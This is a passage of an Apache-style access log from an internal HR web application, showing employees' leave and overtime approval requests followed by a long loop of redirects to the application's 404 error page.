Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:59 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120410 HTTP/1.1" 200 150201 192.168.11.153 - - [04/Dec/2025:14:54:08 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120410 HTTP/1.1" 200 5213 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:54:08 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120410 HTTP/1.1" 200 5213 100.64.0.1 - - [04/Dec/2025:14:56:07 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [04/Dec/2025:14:56:07 +0800] "\x03" 501 203 192.168.139.16 - - [04/Dec/2025:15:02:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10646 192.168.139.16 - - [04/Dec/2025:15:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 192.168.139.16 - - [04/Dec/2025:15:02:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 192.168.139.16 - - [04/Dec/2025:15:02:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.139.16 - - [04/Dec/2025:15:02:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 49885 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 49885 192.168.139.16 - - [04/Dec/2025:15:02:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132732%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132732&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132732%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132732&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:02:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:02:39 +0800] "GET 